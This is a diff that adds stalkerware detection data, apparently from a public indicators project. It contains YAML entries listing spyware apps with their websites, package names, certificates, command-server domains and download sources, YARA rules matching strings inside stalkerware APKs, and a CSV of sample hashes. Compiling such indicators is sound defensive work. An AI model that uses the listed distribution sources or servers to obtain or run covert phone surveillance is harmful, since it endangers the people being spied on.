+- name: MocoSpy + type: stalkerware + websites: + - mocospy.com + +- name: MzanziSpy + type: stalkerware + websites: + - mzanzispy.co.za + +- name: RecomSpy + type: stalkerware + websites: + - recomspy.com + +- name: SwiftMobileSpy + type: stalkerware + websites: + - pc.myswiftmobilespy.co.za + - swiftmobilespy.co.za + certificates: + - 795C30FAD432EE48EDF52B0748BA2749F0915CA3 + +- name: Trackji + type: stalkerware + websites: + - trackji.com + certificates: + - DBA6211533A354E4BBF685A2EA458AC372C4ECE4 + packages: + - com.android.wifi.tracker + c2: + domains: + - trackji.com + +- name: XDSpy + type: stalkerware + websites: + - xdspy.app + - androidspy.info + packages: + - xd.spy.app + certificates: + - 06A49FE1347C7D2E596DF2F08B8C235C00975AF8 + - 7A22EB86FD8D817ED7BFAA03E7A280A03AF20779 + c2: + domains: + - app.xdspy.app + +- name: XploitSPY + type: stalkerware + websites: + - xploitwizer.com + packages: + - com.remote.app + +- name: SpySMS + type: stalkerware + packages: + - com.devspark.securityotp + +- name: DroidWatcher + type: stalkerware + packages: + - com.droidwatcher + +- name: Spyzier + type: stalkerware + packages: + - com.rana_aditya.child + +- name: AndroidSpyApp + type: stalkerware + packages: + - me.hawkshaw + +- name: SpyDroid + type: stalkerware + packages: + - net.majorkernelpanic.spydroid + +- name: SpyAppGhazi + type: stalkerware + packages: + - com.example.ghazi.sms + +- name: Curiosus + type: stalkerware + packages: + - com.hyadesinc.curiosus + +- name: LoveSpy + type: stalkerware + packages: + - com.example.lovespy.app + +- name: ISpy + type: stalkerware + packages: + - edu.virginia.cs.cs4720.ispy + +- name: PatanSpyApp + type: stalkerware + packages: + - in.spyapp.patanjali.android + +- name: Dash + type: stalkerware + packages: + - com.github.muneebwanee.dash + +- name: SpyApp + type: stalkerware + packages: + - com.femimesusu.libapasopi + certificates: + - 38819265668EEAE6AC3C6C80D1A6530EAE99AD0E + - E3620714FB24A45614A456DF1176D482BCD1B032 + - F3E17DFDB98B1F7774A16967FD1D84D3D9D59389 + distribution: + - m.pgv4.com + websites: + - accounts.spyapp.ro + - accounts.pgv4.com + - applispy.com + - area.spyapp.ch + - beta.spyapp.ro + - br.pgv4.com + - clienti.securspy.com + - compte.applispy.com + - controllo.spystoreitalia.com + - tel.forensis-lab.com + - mespiao.com.br + - partner.securspy.com + - pgv4.com + - pin.pgv4.com + - pin.spyapp.ro + - ro.pgv4.com + - roaccount.pgv4.com + - securspy.com + - server.pgv4.com + - spyapp.at + - spyapp.ch + - spyapp.es + - spyapp.fr + - spyapp.uk + - spyapp.ro + - spybrother.com + - sys.spyapp.ch + - www.spyapp.ch + - www.spyapp.ro + - x.securspy.com + - x.spyapp.ro + c2: + domains: + - x.pgv4.com + - pgv4.com + - www.pgv4.com + +- name: MySpyApps + type: stalkerware + websites: + - myspyapps.com + certificates: + - CCCD74B31E53685BFA5A23AD0AE020AF74689085 + packages: + - com.my.spy.app + c2: + domains: + - my-spy-a9c92.firebaseio.com + +- name: OneSpy + names: + - OneMonitar + - OneSpy + - ChyldMonitor + type: stalkerware + packages: + - com.android.system.app + - com.android.settings.app + - seC.fqjx.sqBB + - com.qwertyuiop.asdfghjkl + certificates: + - E458DC7CD8928A41865F502A884F0D51309E0BEF + - E7D395DF3B8077C733D9BE67D841FDF271F49406 + - 0FB6643902E891C230F6E6662083442EEA1F16CE + websites: + - app.onemonitar.com + - ap.chyldmonitor.com + - cockpit.chyldmonitor.com + - chyldmonitor.com + - cloud.onemonitar.com + - cp.onemonitar.com + - onemonitar.com + - onespy.com + - pma-234fsfsddfsdfds09.onemonitar.com + - send.onemonitar.com + - send.onespy.com + - su.onemonitar.com + - superuser.onemonitar.com + - test.send.onemonitar.com + - billing.chyldmonitor.com + distribution: + - onespy-in-d.s3.eu-central-1.amazonaws.com + - android-apps.s3.amazonaws.com + c2: + domains: + - api.cp.onemonitar.com + - onespy-in-196211.firebaseio.com + - android.chyldmonitor.com + - web.chyldmonitor.com + - sse.chyldmonitor.com + +- name: Android007 + names: + - SpyBunker + type: stalkerware + websites: + - android007.com + - www.android007.com + - portal.android007.com + - spybunker.com + - www.spybunker.com + +- name: RioSPY + type: stalkerware + websites: + - www.riospy.net + - riospy.net + +- name: WheresMyDroid + type: stalkerware + websites: + - wheresmydroid.com + - www.wheresmydroid.com + - wmdcommander.appspot.com + packages: + - com.alienmanfc6.wheresmyandroid + certificates: + - F8FC21D0709C3C0A3E4FBA81D24AB50979F25C19 + c2: + domains: + - wmdcommander.appspot.com + +- name: WiseMo + type: stalkerware + websites: + - www.wisemo.com + - wisemo.com + packages: + - com.wisemo.wsmguest.v18 + - com.wisemo.host.v10 + certificates: + - 9B48840CBF93379410172B4B85989624D2B33D59 + c2: + domains: + - mycloud.wisemo.com + - mycloud1.wisemo.com + - mtracker.fortess.net + +- name: FindMyKids + type: stalkerware + websites: + - findmykids.org + packages: + - org.findmykids.app + - org.findmykids.child + certificates: + - 9B48840CBF93379410172B4B85989624D2B33D59 + c2: + domains: + - api.findmykids.org + - r.findmykids.org + - wss.findmykids.org + - where-is-my-children.firebase.io + distribution: + - fmk.god-xc.com + +- name: MagMonitor + type: stalkerware + names: + - maglook + websites: + - maglook.eu + c2: + domains: + - www.maglook.eu + - maglook.eu + - ue.maglook.eu + - uf.maglook.eu + +- name: BrunoEspiao + type: stalkerware + websites: + - brunoespiao.com.br + packages: + - com.moxlndmp.uhzhgzjh + - com.fzvsdrtb.qamlhxri + - com.thaxygpc.xjsjobpn + - com.nhevvtmt.thinkquo + certificates: + - 159B64B29BC8842ACDF8022B70730B13E288044B + - 8E38D577187544D4E0F747CAEF32B47FD15B07E5 + - 6041F01561EC43309CCC8452719C4F515C32F3C2 + - A1AA4CD5B6CDBD906E3B27A7D1FA42EA2416ADC3 + c2: + domains: + - back.brunoespiao.com.br + - brunoespiao.com + - brunoespiao.com.br + - im.brunoespiao.com.br + - pc.brunoespiao.com.br + - pc1.brunoespiao.com.br + - ua.brunoespiao.com.br + - ue.brunoespiao.com.br + - uf.brunoespiao.com.br + - uf1.brunoespiao.com.br + - ur.brunoespiao.com.br + - www.brunoespiao.com.br + - brunoespiao2.s3.amazonaws.com + distribution: + - sbt.tv + +- name: Spyone + type: stalkerware + websites: + - spyone.pl + packages: + - com.jgeuhcex.ejcxndak + - com.eytewqrm.wvdkgmrl + - com.epbzrqcg.syzzkuqx + - com.laucass.phonecontrolenabler + - com.laucass.phonecontroltarget + - com.laucass.androsmscontrol + - com.juzyuwqt.thxxnjvf + - com.epasufob.kybavfgt + - pl.spyone.agent2 + - Aktualizacja.apps + certificates: + - C4B56E3768543190FDBE0AA01DD628E579F5514C + - 28AFF3C41C0D42ACBB6B73C6C08868C442088640 + - 2441F6D331D6CFD8624346ED4B1987EAE6534FA3 + - 123C09B261DFA0F67D817E9BA079942830C31D54 + - 32F6E28DD3E2E61ED94446591E31F89AEE3A9BD2 + - 317A9577A5B2D0930D06E0D8D7427E2F8FCAD29D + - D2A84922F8F747FD7582EFEF4189E06897FA8839 + c2: + domains: + - pc.spyone.pl + - ur.spyone.pl + - laucass.forumactif.org + distribution: + - 11111.pl + - www.11111.pl + - 4jslg.11111.pl + +- name: eagleSPY + type: stalkerware + websites: + - prontodigital.com.br + - eaglespy.com.br + packages: + - br.com.eaglespy + certificates: + - B7B561250288C8BB44932B591B5451D852A95109 + c2: + domains: + - eaglespy.com.br + ips: + - 201.33.21.62 + +- name: PhoneMonitor + type: stalkerware + websites: + - phonemonitor.com + - users.thephonem.com + distribution: + - tphmr.com + - gurley.s3.ap-southeast-1.wasabisys.com + packages: + - com.pvojpamt.tzzyqjyb + - com.monitor.phone.s0ft.phonemonitor + c2: + domains: + - users.thephonem.com + +- name: Buhsam + type: stalkerware + distribution: + - https://github.com/earthshakira/android_hack + packages: + - com.google.android.network + certificates: + - 00F618C4C43C28B107DAB8F5641AD00D3A774AFD + +- name: AndroRat + type: stalkerware + distribution: + - https://github.com/karma9874/AndroRAT + packages: + - com.example.reverseshell2 + +- name: Spynger + names: + - discovenger + type: stalkerware + websites: + - spynger.net + - cart.spynger.net + distribution: + - win.spynger.net + c2: + domains: + - my.spynger.net + - ios-gw.spynger.net diff --git a/data/ioc/stalkerware/rules.yar b/data/ioc/stalkerware/rules.yar new file mode 100644 index 0000000..a1197f2 --- /dev/null +++ b/data/ioc/stalkerware/rules.yar @@ -0,0 +1,206 @@ +rule snoopza : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "Server changed to " ascii + $s2 = "snoopza.com" ascii + $s3 = "Sim Update imsi:" ascii + $s4 = "U5t8444cbWHTWgYtCtQE6PkPdteUIOVi" ascii + $s5 = "jTfELCG992ee6YounW5MV7vsYtzseOp7" ascii + $s6 = "getSimOperator" ascii + $s7 = "install error: not exist " ascii + $s8 = "MIPKOMONITOR" ascii + $s9 = "3t2PYOBHw5QQ3MraExQvUA==" ascii + + + condition: + uint16(0) == 0x6564 and 7 of them +} + +rule mspy : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "mspy_keyboard_used" ascii + $s2 = "multipart/form-data; boundary=+-=+-=-------+-=+-=" ascii + $s3 = "mspyonline.com" ascii + $s4 = "inputType=0x%08x%s%s%s%s%s" ascii + $s6 = "/proc/%d/oom_score_adj" ascii + $s7 = "/trackActiveViewUnit" ascii + $s8 = "InstagramMessageItem" ascii + $s9 = "KikMessageItem" ascii + + condition: + uint16(0) == 0x6564 and 5 of them +} + +rule spyhide { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "go_to_spyhide" ascii + $s2 = "configure_hide" ascii + $s3 = "cellphone-remote-tracker.com" ascii + $s4 = "bi dont know!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" ascii + $s5 = "bmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm" ascii + $s6 = "mojmadah@gmail.com" ascii + $s7 = "www.virsis.net/client" ascii + $s8 = "Gray_Dolphin" ascii + $s9 = "new messageeeeeeeeeeeee= " ascii + $s10 = "@number OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOout" ascii + + + condition: + uint16(0) == 0x6564 and 8 of them +} + +rule onetopspy : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "spy-call-active" ascii + $s2 = "/BackupEmail/" ascii + $s3 = "G_IS_WHATSAPP_INSTALLED" ascii + $s4 = "G_LIST_RECORD_CALL_NUMBER" ascii + $s5 = "1topspy.com" ascii + $s6 = "duplicate key: " ascii + $s7 = "setFacebookActive" ascii + $s8 = "busybox rm -rf " ascii + $s9 = "Unknown cmd: " ascii + $s10 = "Testing A ton of commands" ascii + $s11 = "PATH_BACKUP_FILE_SMS" ascii + + condition: + uint16(0) == 0x6564 and 9 of them +} + +rule ikeymonitor : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + author = "Jo Coscia" + + strings: + $s1 = "emcpanel.com" nocase ascii + $s2 = "Keylogger_Xposed" ascii + $s3 = "iKeyMonitor" nocase ascii + $s4 = "Reg_LKConnotbE" ascii + condition: + uint16(0) == 0x6564 and 4 of them +} + +rule cerberus : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + author = "Jo" + + strings: + $s1 = "command NOT EXECUTED. Have you enabled it in Cerberus settings" ascii nocase + $s2 = "support@cerberusapp.com" ascii nocase + $s3 = "sendaudiofile.php" ascii + $s4 = "comm/radar.php" ascii + $s5 = "notifyowner.php" ascii + condition: + uint16(0) == 0x6564 and 4 of them +} + +rule viptelefonprogrami : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $b64 = /[a-zA-Z0-9+\/]{70,}==/ + $re1 = /com\/[a-z]{8}\/[a-z]{8}\/protocol\/a;/ + $re2 = /com\/[a-z]{8}\/[a-z]{8}\/registration\/a;/ + $re3 = /com\/[a-z]{8}\/[a-z]{8}\/util\/a;/ + + condition: + uint16(0) == 0x6564 and #b64 > 1000 and all of ($re*) +} + +rule viptelefonprogrami_jkl : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "base64_decode" ascii + $s2 = "MD5Transform" ascii + $s3 = "Java_com_example_hellojni_HelloJni_get2" ascii + $s4 = "tijni" ascii + $s5 = "error - 2" ascii + $s6 = "Success !!" ascii + $s7 = "Fail !!" ascii + + condition: + uint16(0) == 0x457f and 6 of them +} + +rule android_police : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "ANDROID_MONITOR_CHECKER" ascii + $s2 = "AudioRecordThread" ascii + $s3 = "CameraCapturer.java" ascii + $s4 = "Not on camera thread." ascii + $s5 = "Stop camera1 session on camera" ascii + $s6 = "Wrong thread." ascii + $s7 = "YuvConverter.convert" ascii + $s8 = "bb392ec0-8d4d-11e0-a896-0002a5d5c51b" ascii + $s9 = "disableNetworkMonitor" ascii + $s10 = "info_prog_rec_screen_whatch_start" ascii + + condition: + uint16(0) == 0x6564 and 8 of them +} + +rule tracku : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "/Hike/Media/hike Voice Messages" ascii + $s2 = "/viber/media/Viber Images" ascii + $s3 = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" ascii + $s4 = "AudioTrackJavaThread" ascii + $s5 = "Bxt2y1rUKoGVnD3pi73LivcES" ascii + $s6 = "Camera device is in use already." ascii + $s7 = "FITNESS_LOCATION_READ" ascii + $s8 = "GetBucketLocation" ascii + $s9 = "c/c/a/b/b$a" ascii + $s10 = "org/webrtc/VideoFrameDrawer" ascii + $s11 = "T56yAzZC2uHe7k" ascii + + condition: + uint16(0) == 0x6564 and 9 of them +} + +rule italianstalkerware : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + + strings: + $s1 = "DataMariaDbSalentoBellaSarda" nocase ascii + $s2 = "IsScreenOnServiceMarinellaBella" ascii + $s3 = "preInstallServiceAnacondameritocronicavolenzia" nocase ascii + $s4 = "ScreenIsOnReceiverMarinellaBella" ascii + + condition: + uint16(0) == 0x6564 and 4 of them +} + +rule tispy : stalkerware { + meta: + ref = "https://github.com/AssoEchap/stalkerware-indicators" + sha256 = "0d8befa2d86f456dcaea8e14ed3d3d84fb3f523eb1168530660027be6bbc516f" + + strings: + $func = { 6E 10 3? 01 06 00 0C 02 6E 10 3? 01 05 00 0C 00 71 10 ?? 00 00 00 0C 03 12 00 21 31 35 10 1A 00 48 01 03 00 21 24 94 04 00 04 48 04 02 04 B1 41 13 04 80 FF 35 41 08 00 D9 01 01 80 D9 01 01 7F } + + condition: + uint16(0) == 0x6564 and $func +} diff --git a/data/ioc/stalkerware/samples.csv b/data/ioc/stalkerware/samples.csv new file mode 100644 index 0000000..0a17f41 --- /dev/null +++ b/data/ioc/stalkerware/samples.csv @@ -0,0 +1,3229 @@ +SHA256,Package Name,Certificate,Version,App +2f3bc9ebe8c249f0416f5b0367f34b4b8f6aaa7d351dc5b4912fe2558491b6b7,com.topspy,7F5C0D54A813BA9B87A91420CA2C3DE5E7948F09,9,1TopSpy +5e52438f28275dc2a7e83b989e726f86ba53c915b44f126507763850197646f6,com.topspy.system,656CD7890ED79CE8570D1B7156C31958D5AC1606,10,1TopSpy +6977e6e1050aa884ebc4732859c9c239218847ddd492a86dfdc19fbc3748a109,com.topspy,7F5C0D54A813BA9B87A91420CA2C3DE5E7948F09,9,1TopSpy +8d7c87283256621dca3f48887f7a9068b6636124a552cff54924d96e7fbccff0,com.topspy.system,656CD7890ED79CE8570D1B7156C31958D5AC1606,10,1TopSpy +b1add35a54b77ce30742d18398d9f79b8ffb49e3d39f846381eea3624db598d8,com.topspy,7F5C0D54A813BA9B87A91420CA2C3DE5E7948F09,9,1TopSpy +b3566fa1503c6bcb641c7f486f3ea2950d0f83800733bc4fe55bc1246b5fde57,com.topspy,7F5C0D54A813BA9B87A91420CA2C3DE5E7948F09,9,1TopSpy +c07b0cbad31ce7e331b161e88f117436be656a2179f5aa37a81f1500141335a1,com.topspy.system,656CD7890ED79CE8570D1B7156C31958D5AC1606,10,1TopSpy +08938fc634c293560834aa6b2188f4dac07ed35b1198b18b186972ea93aa7ece,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,49,AllTracker +0e8133c6e9d7d77e8e8e1b226e430a96a73a2edf6b065d6f1caf262120827026,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,78,AllTracker +0e84e623505f0cf2064f58c7134fb22ad2e21db12768ad4aa4c815b81b1acfd7,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,62,AllTracker +0f0ffae5d334c0fed88e772750a675f4d3c66fb116e8c9fbbdb444ba679366bf,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,79,AllTracker +14bb7783317ae3ce9009a93ae19fbafd20b8e21f106fcb5b018f331dbfab710d,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,31,AllTracker +16df130f595dfc8fded1ea8860e131bf5f1122c65ed798aa6ac9ad0e6b6ba032,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,45,AllTracker +19e43023d8bd7fc446041fdac8123b356405b4d41a2140d791af5e9d908efe65,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,70,AllTracker +1c209580b91f1ef1a82613030735bc8f62c3a929579594bd5f26c763dd891831,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,79,AllTracker +1ee81c8a45cd12c8389212485afbd3e63fc89e3dbf6e075b367d65b63bd3311d,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,53,AllTracker +237c6815f2a4c64fbeeb30205ab9097f1439985cc4acc558ec7d4000e8d5fed0,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,76,AllTracker +26cfe77dcefd4ce3e771e02f039b1e71f41397e318cf5bbd528c5fcecd4547a9,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,78,AllTracker +2aef1d2e9d77df98fe856bd749baae9fb2548f46b30f06edbedd09ea26c8f691,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,70,AllTracker +2d521e56654fbe96b0ac38da6b339a3183da370b59bd66ea62a2645637d13182,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,66,AllTracker +2e0cee5d3ec493faecddb1d312b1215e586ac12a5613d67be337c71b8bbc2ffa,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,81,AllTracker +2e2b515af81a4b3048b66cbd0a9822f34850ba77173c6d8a34303b52dba0023f,city.russ.alltrackercorp,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,38,AllTracker +3275e39a4e24ce11f826ff59be82848b3c19b10481ca1c41ca226752a5dcbe50,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,44,AllTracker +32d8cba77a144a9c871fe00747d2a98c5dfe6fdec28f330827fc2a199ea40185,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,41,AllTracker +32e9aafdae7d8fb2a99d52b82dc38d164d89d9b45c87bc38ad877f45beb95de0,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,38,AllTracker +3a58bc4aa70a511a8427e6fe2885436e30a07b1cc2bb87599d5460f1ff808b1a,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,36,AllTracker +3b43df2e11179e4abf6dc6980e73258f48e41a21bb216e3aed645c772e5b0307,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,34,AllTracker +3b65de3b3ab3775efa6ec3a2caab9476a26625a8c22debcda505f07151c8fdbc,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,66,AllTracker +3c4fb64a3166c39cccc9363a93ac1dfecc32e27d70539dce595b00ec78749e69,,,,AllTracker +3c6718833cdfb07c7870e243296ab4a755caedf06946c26a12f759c06238f0da,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,41,AllTracker +418fb40741803d03f096e3bbacb5ca1e4328436e4a1b933badb580a7f68f792e,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,49,AllTracker +41bc7afbb4a6c410f6d9d70a5a12447c0f052ed80424ae12dd2c03189182c115,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,88,AllTracker +45796047ce057280b20f83345682f4065282db9dfbed4d85daa110385f3dbf0f,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,65,AllTracker +47b4005037da0dd5110b1165e4ced99e0108b2c1965c91b3e0fe23dfd77adf23,,,,AllTracker +48808ad0c3775ca6b8958fc2cfcce3336524c13128fb9c3b7ae806f486ec054a,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,76,AllTracker +535534d3558fe8b403ee4abebee3207d8d7e4aafa301c524389a1c168b6b31b9,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,74,AllTracker +5571c1e45261d36472dd5bca2a51cbabe647480e9af35532e36ebf246f07f070,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,76,AllTracker +59a58144f5b6fd868dc49a099b537bf32d686d105e3fcab360d6dd5af3b3b400,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,37,AllTracker +63542c55379492ce3c63cd5e488da279fa92c00ccb6c078dcbc4f509de313d20,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,78,AllTracker +657d04f1c74ef6b6eb55ef3f63652987464c37c1b9f18089eba4e043d17e666d,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,41,AllTracker +687056ee6576f3f860173e85f46d3313c7353b6bed2a245690320a74c031530d,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,79,AllTracker +699f50bcba47a86f1c85621f4cc3a1035bca0fbda851e8ae7b1f6cd81709bd6c,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,38,AllTracker +6adaf17462a23c966009297fd8c367bde7cb7e357659b96a4622060496cf04e1,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,32,AllTracker +6c84e4a6d28b988d33b6761d8ea6a04c277c9379d262d7a9a8d4bf88fd716f6b,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,60,AllTracker +6e73bbfd60330424b93869884aadf6a17b576e49f240c080c187a3d73fef8302,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,45,AllTracker +6fe44faf1707301911a9d1bc92e03b808cc2deacb322d2919346be866e7d8730,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,81,AllTracker +7227da0e85765e5e67972b5d41bab7230040b7f8af62fd7115dfdc361c749674,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,50,AllTracker +72558262a74c9969fff0acd29ec1e31545938347ec09268aadabc61424581e14,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,35,AllTracker +72748f121d9975e5f5c3e4854b90e0057443dcc38e6424389a2f31199511cdd1,city.russ.alltrackercorp,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,34,AllTracker +73d198f13c598ef5088571805ab0ea012ee3ee6786b680d8e8ffc88e25a81647,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,79,AllTracker +73f5c41df593a66e9c53ca908688957ef6721fdc02412f27eb40929b680429d5,city.russ.alltrackercorp,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,79,AllTracker +789043331b3f55a1a0ce52371e875f929663e13501c476a340fafaff2dbd836f,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,31,AllTracker +80be1fb12eaaf5374d56c7b09cd6abd213be69e90ad8b264e3c31411cbcaf24b,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,38,AllTracker +87d4e281b968e3c61dbce08fc8fa19a871d730b431fbbe2217902c07dae3cde9,,,,AllTracker +87d920c67040c74e5836e54c20d0e61ce7e6d076c6e2a45971ae90d920d11b74,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,74,AllTracker +89b679292734df69ce35224f2e49206dbb9e4708cb822f96dcc16ddd881f6e5a,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,60,AllTracker +8ae57e06794429609c74943bf4725f3d71cbef34cbcfa2ca00a5284a672c6693,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,66,AllTracker +8d13f821731d3346fb84cf6a22f41f1886a2cc216c59d4f463bc0d800d95105f,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,70,AllTracker +933538d63eea0a89bb7c38d8e454fa3a502b8b6f733720e6dbced6c9ddd95f8d,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,62,AllTracker +9c897bdf61ad8b5457f7f8fd59a55c191c2ed51d404dcf3b9ae057092a9d832e,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,81,AllTracker +9c9a65cdbeda09530b695e19eb8f334b9a30d7a4bcccf31ad226ceb034a92e87,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,34,AllTracker +9cc3067d419e8346e5115da8dedf846843dc52402cac41326fbf1d1c610d0184,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,34,AllTracker +a4a74d5e2935e503d11457fd13263eef49e629213bec5bcef9c42aee75bca7c5,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,61,AllTracker +a72f4b1b7555fd6b2c07211ff04618f9dc474640bc641b76753a98b4f08c849d,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,88,AllTracker +a73808b195ea07139d634547d2b30a10cf56d7e9784d7fd2bafdf0efd5772475,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,74,AllTracker +a748db885f24cf94cdc68d1e5fbdd09c4523b34a100d128b9bf3a8cfeb03f996,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,78,AllTracker +b292b99df19ca036d2715a864ce1c777aa46fc54c5c1046881268731d1dbb621,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,78,AllTracker +b331c63e09ad7f2924ec7cda9edbf65177ad5c868057eb2cbb1ba85184372c7f,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,79,AllTracker +b70cf946ed1e42fa1db427ee83bf74054aba56ecad4332680e63d945f42ad7ed,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,49,AllTracker +b7ee7b26ec75ca139a47651cbdce8a527fb802b929cd852f703dcf8393af3b3c,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,44,AllTracker +c06f9e06f7398c491fc4bed26621c81e18ba9938f40d1354241a9cebcd0b67d0,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,81,AllTracker +c0bce46e00204797ad4eb3d92d8579559ad3f20243816521647231fc1ca02ab6,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,74,AllTracker +c25567012c3c626a6b97bc8f335d8776f219592ddc29b1100359ec4b4cd8a3df,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,61,AllTracker +c8078b5b023bcc128626adb4848ca2223a7962dcefa1d803f3b8f632a9feaa04,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,70,AllTracker +ccb7f587989ea6acda25c913029f2eee533290ee51e3df1a5353aec2cf18a634,,,,AllTracker +d2aa01a5501073cb42bba7f36c63b57981783e10287e625eda71247cd6e72170,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,42,AllTracker +d4bc17c972a4baf2b5a75a35c00287d37d69cb46a13bc2a4c01e7ac2fae0a3d0,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,74,AllTracker +d6bfe958c84508a86879509c6c1df0f17d27ac9310457cea34f28b673e606344,city.russ.alltrackercorp,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,34,AllTracker +d8b107b73dcb93507e1bfa102b032666038b5c938b079b60b47b1dcd67335247,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,32,AllTracker +dad778b97ccb0457cadf9fc91f70cfabcc8086d0b25fceb9f9d81aa160c6b187,,,,AllTracker +dce589fdac0fc35e2c7224c6eaabc999453124ab1ed16974cf5aec7757b17257,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,60,AllTracker +e0475d101795c8b78bda318a568de8e8ee17bdf3a23d83f3701a381fe0235384,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,81,AllTracker +e439a57f66751605bddb539b98b4d846c0dabfa6a3a851f62c8a3d45935b4569,city.russ.alltrackerfamily,43D45CE7BEE36E449434C14973B7D285209414C7,33,AllTracker 